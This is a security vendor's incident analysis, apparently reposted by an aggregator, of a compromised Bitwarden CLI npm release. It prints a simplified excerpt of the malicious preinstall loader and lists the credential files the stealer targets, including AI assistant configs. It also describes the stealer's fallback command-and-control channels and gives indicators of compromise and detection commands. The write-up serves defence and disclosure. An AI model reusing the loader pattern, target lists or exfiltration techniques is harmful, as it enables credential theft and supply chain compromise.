






















@bitwarden/cli@2026.4.0, the official command line interface for the Bitwarden password manager, was found compromised and republished on npm.
This is the first confirmed supply chain attack where npm's OIDC Trusted Publishing was used to publish a compromised package, and the attack chain is one of the most sophisticated GitHub Actions supply chain compromises StepSecurity has analyzed to date.
A Bitwarden engineer's GitHub account was compromised. The attacker created a new branch in the bitwarden/clients repository, staged a prebuilt malicious tarball, and rewrote the publish-cli.yml workflow to exchange a GitHub Actions OIDC token for an npm auth token via the npm registry API. The workflow then used that token to publish the staged tarball directly to npm. Once the package was live, the attacker deleted all workflow runs, the branch, and the release tag, leaving the published package on npm as the primary remaining artifact.
OIDC Trusted Publishing has been widely promoted across the industry as the modern, secure alternative to long lived npm tokens and as a silver bullet against token theft. In this incident, the attacker turned Trusted Publishing itself into the publishing channel. npm Trusted Publishing currently does not support branch level restrictions, so any compromised branch on the repository was able to publish to npm. A GitHub environment with a required approval gate would have blocked the publish, but no such gate was in place on this workflow.
The compromised @bitwarden/cli@2026.4.0 shipped with a preinstall hook that silently downloaded the Bun JavaScript runtime and launched a 9.7 MB obfuscated credential stealer. The stealer targeted SSH keys, npm and GitHub tokens, AWS and GCP credentials, shell history, environment variables, and AI tool configuration files. This is the first npm compromise we have analyzed that explicitly enumerates Claude Code, Cursor, Kiro, Codex CLI, and Aider, treating ~/.claude.json and MCP server configs as first class exfiltration targets alongside cloud and source control secrets.
Stolen data was encrypted with AES-256-GCM and exfiltrated to audit.checkmarx.cx, a domain registered to impersonate the security vendor Checkmarx so the outbound connection would blend into security telemetry rather than stand out. When a valid GitHub token was discovered on a victim, the malware weaponized it to enumerate repositories, extract Actions secrets, and inject malicious workflows into every repository the token could reach, turning a single compromised developer machine into a broader supply chain pivot point.
StepSecurity's Harden Runner blocked the outbound connection to audit.checkmarx.cx during a controlled test run, stopping exfiltration at the network layer. The AI Package Analyst flagged the anomalous preinstall hook and Bun runtime download immediately upon publish.
StepSecurity’s AI Package Analyst monitors every new npm publish, diffing each release against the full package history and running behavioral analysis on the diff. For @bitwarden/cli@2026.4.0, three signals triggered an immediate CRITICAL verdict:
preinstall script appeared for the first time in the package’s history. Every prior release of @bitwarden/cli had no install lifecycle scripts. Version 2026.4.0 added "preinstall": "node bw_setup.js" — code that fires automatically before any application logic runs, before any human reviews the output.bw_setup.js and bw1.js. Neither file exists in any prior release or the package’s git history.github.com/oven-sh/bun/releases during package installation — anomalous behavior for a CLI tool that previously had zero network activity at install time.The attacker did not build 2026.4.0 from scratch. Embedded metadata inside the malicious tarball still references 2026.3.0 — the legitimate prior release. The attacker took the clean 2026.3.0 build, injected bw_setup.js and bw1.js, updated package.json to add the preinstall hook and redirect the bw binary entrypoint, and republished under the incremented version number 2026.4.0.
This means the Bitwarden CLI remains fully functional. Victims get a working bw command, no installation errors, no visible output — while the credential harvester runs silently in the background.
The forensic signal: The version declared in package.json is 2026.4.0, but internal metadata still references 2026.3.0. This version mismatch is a reliable fingerprint of the injection technique: the attacker modified the published artifact without rebuilding it cleanly from source.
bw_setup.js)bw_setup.js has a single job: acquire the Bun JavaScript runtime and execute the payload with it.
// Simplified execution flow
try {
execFileSync("bun", ["--version"], { stdio: "ignore" });
return; // bun already present, use it
} catch {}
// Download bun-v1.3.13 for the detected platform/arch from GitHub
const downloadUrl = `https://github.com/oven-sh/bun/releases/download/bun-v${BUN_VERSION}/${assetName}`;
const zipBuf = await get(downloadUrl);
// Extract and execute the payload
execFileSync(bunPath, ["bw1.js"], { stdio: "inherit" });Using Bun instead of Node.js is a deliberate evasion choice. EDR rules, SIEM detections, and security scanners tuned to flag suspicious node child processes spawned during package installation will miss a bun process entirely. The loader also includes a custom ZIP parser written in pure Node.js as a fallback, ensuring it works even on minimal container environments that lack the unzip command. It detects Linux variants (glibc vs. musl/Alpine) and selects the appropriate Bun binary — confirming that CI/CD containers were explicitly in scope.
File: bw_setup.js
SHA-256: 18f784b3bc9a0bcdcb1a8d7f51bc5f54323fc40cbd874119354ab609bef6e4cbbw1.js)bw1.js is 9.7 MB of obfuscated JavaScript. All strings are stored in a rotated lookup array accessed via hex-indexed function calls (_0xbae802(0x...)), making the payload effectively unreadable without dynamic execution. Static analysis of the file confirms the following capabilities
File: bw1.js
SHA-256: 8605e365edf11160aad517c7d79a3b26b62290e5072ef97b102a01ddbb343f14Three primary collectors run in parallel targeting filesystem, environment, and GitHub Actions runner sources:
~/.ssh/id_rsa, id_ed25519, id_ecdsa, id_dsa, id_*, known_hosts, authorized_keys~/.gitconfig, ~/.git-credentials~/.bash_history, ~/.zsh_history, ~/.sh_history~/.npmrc, project-level .npmrc, env vars matching npm_[A-Za-z0-9]{36,}gh auth token (shell command), env var scan for ghp_[A-Za-z0-9]{36}, gho_...~/.aws/credentials, ~/.aws/config~/.config/gcloud/credentials.db.envThis campaign goes well beyond typical npm stealers. The payload contains an explicit list of AI coding assistants it probes for credentials and session data:
claude — config: ~/.claude.json, .claude.jsonkiro — config: ~/.kiro/settings/mcp.json, .kiro/settings/mcp.jsoncursor — config: MCP configcodexaiderThe explicit targeting of ~/.claude.json and MCP server configuration files (mcp.json) means any Anthropic API keys, workspace tokens, or sensitive data stored in AI assistant contexts are in scope. If ~/.claude.json was present on an affected machine, treat all API keys in that file as compromised.
When the payload detects a GitHub Actions environment (GITHUB_ACTIONS=true), a dedicated runner collector activates
gh auth token to retrieve the GitHub CLI session token directlyhttps://api.github.com/userFor each validated token, the malware then weaponizes it — see Stage 5 below.
Collected data goes through a hybrid encryption pipeline before transmission:
The domain audit.checkmarx.cx is entirely attacker-controlled. Checkmarx’s real domain is checkmarx.com — the .cx top-level domain (Christmas Island) was registered to impersonate a trusted security vendor in network logs that perform only hostname inspection. The resolved IP is 94.154.172.43, which has no affiliation with Checkmarx.
If audit.checkmarx.cx is blocked (as Harden Runner does), the malware does not stop. Two GitHub-based fallback channels provide persistent C2 using legitimate infrastructure that cannot be blocked by domain allowlists:
Channel 1 — Commit-embedded attacker PATs. The payload searches GitHub commit history for messages matching the regex:
The base64 payload, double-decoded, yields an attacker-controlled GitHub PAT. The token is validated before use. Data is exfiltrated by creating repositories under the attacker’s account.
Channel 2 — Signed domain rotation. The payload searches commit messages prefixed with beautifulcastle followed by a base64-encoded, RSA-signed blob. If the signature verifies against an embedded public key, the first base64 segment is decoded to reveal an alternate C2 domain. This allows the attacker to rotate infrastructure with no payload update.
Channel 3 — Victim account exfiltration. Using stolen GitHub tokens from the victim, the malware creates a repository under the victim’s own account and pushes an encrypted result blob. From a network monitoring perspective, the traffic is indistinguishable from normal api.github.com usage.
Why this matters: The fallback architecture means blocking audit.checkmarx.cx alone is not sufficient for a complete defense. Harden Runner’s network lockdown mode prevents all three channels: the primary C2 POST, the api.github.com fallback queries, and the victim-account repository creation are all blocked unless explicitly allowlisted.
For every validated GitHub token found on the system, the payload escalates from theft to active exploitation
A single developer with @bitwarden/cli@2026.4.0 installed can become the entry point for a broader supply chain compromise, with the attacker gaining persistent workflow injection access to every CI/CD pipeline the developer’s token can reach.
We installed @bitwarden/cli@2026.4.0 inside a GitHub Actions runner instrumented with StepSecurity Harden Runner. The network event log captured the attack in real time:
Step: Install @bitwarden/cli@2026.4.0
Process: bun
Event type: ATTACK BLOCKED ← exfiltration prevented
Domain: audit.checkmarx.cx:443
IP: 94.154.172.43
Timestamp: 13:43:43 GMTThe blocked connection prevented credential exfiltration to the primary C2. In the same run, the Bun download from github.com/oven-sh/bun/releases was logged as anomalous install-time network activity.
Full public run: app.stepsecurity.io/github/actions-security-demo/compromised-packages/actions/runs/24838719458
@bitwarden/cli@2026.4.0@bitwarden/cli@2026.3.0 (and earlier)package.json version 2026.4.0; embedded metadata references 2026.3.0XRAY-969808node_modules/@bitwarden/cli/bw_setup.js18f784b3bc9a0bcdcb1a8d7f51bc5f54323fc40cbd874119354ab609bef6e4cbnode_modules/@bitwarden/cli/bw1.js8605e365edf11160aad517c7d79a3b26b62290e5072ef97b102a01ddbb343f14audit.checkmarx.cx94.154.172.43https://audit.checkmarx.cx/v1/telemetrygithub.com/oven-sh/bun/releases/download/bun-v1.3.13/LongLiveTheResistanceAgainstMachines:<base64>beautifulcastle <base64>.<base64>gh auth tokenghp_[A-Za-z0-9]{36}npm_[A-Za-z0-9]{36,}1. Check for the malicious version in your project:
npm list @bitwarden/cli 2>/dev/null | grep "2026\.4\.0"
cat package-lock.json | grep -A1 '"@bitwarden/cli"' | grep "2026\.4\.0"2. Check for malicious files in node_modules:
ls node_modules/@bitwarden/cli/bw_setup.js 2>/dev/null && echo "COMPROMISED"
ls node_modules/@bitwarden/cli/bw1.js 2>/dev/null && echo "COMPROMISED"3. Check for unauthorized GitHub repositories on accounts that ran the compromised install:
gh repo list --json name,createdAt --limit 204. Check CI/CD pipeline logs for any npm install runs that pulled @bitwarden/cli@2026.4.0 — treat those pipelines as fully compromised and rotate all accessible secrets immediately.
npm uninstall @bitwarden/cli then npm install @bitwarden/cli@2026.3.0 --ignore-scriptsls node_modules/@bitwarden/cli/bw_setup.js node_modules/@bitwarden/cli/bw1.js 2>/dev/null — neither file should exist. If they do, the compromised version is still installed.ghp_*, OAuth tokens: gho_*)npm_*)~/.claude.json, MCP server configs, or similaraudit.checkmarx.cx or 94.154.172.43 — any confirmed connection means exfiltration occurred.--ignore-scripts in CI/CD as a standing policy to prevent preinstall/postinstall hooks from running in automated builds: npm ci --ignore-scripts{
"dependencies": {
"@bitwarden/cli": "2026.3.0"
}
}StepSecurity’s AI Package Analyst is a continuous monitoring service for the npm and PyPI registries. Every new publish is automatically analyzed for behavioral and structural signals that indicate supply chain compromise — without waiting for a CVE or a maintainer report.
For @bitwarden/cli@2026.4.0, the AI Package Analyst flagged:
preinstall hook absent from all prior releases. Every version of @bitwarden/cli before 2026.4.0 contained no install scripts. A lifecycle hook added in a version bump with no corresponding release tag or changelog entry is a high-confidence signal of account compromise or tampering.bw_setup.js and bw1.js with no git history. Both files appear for the first time in this version. Files added to a package that have no presence in the project’s git history indicate injection rather than organic development.Both files were confirmed malicious and @bitwarden/cli@2026.4.0 was added to StepSecurity’s global block list immediately. The npm Compromised Package Check now automatically blocks any PR that introduces this version.
View the full AI Package Analyst report for @bitwarden/cli@2026.4.0 →
@bitwarden/cli@2026.4.0 automatically fails the check and is blocked from merging. Enable it for your organization: app.stepsecurity.io/checksaudit.checkmarx.cx, the Bun runtime download, and the GitHub API fallback channels are all blocked unless explicitly allowlisted. This is a defense-in-depth layer that works even when a malicious package slips through other controls.Protect your pipelines: AI Package Analyst monitors every npm and PyPI publish in real time, scoring packages for supply chain risk before you install them. Harden-Runner enforces a network egress allowlist in GitHub Actions, blocking C2 callbacks and unexpected outbound connections even when a malicious package slips through.
此内容由惯性聚合(RSS阅读器)自动聚合整理,仅供阅读参考。 原文来自 — 版权归原作者所有。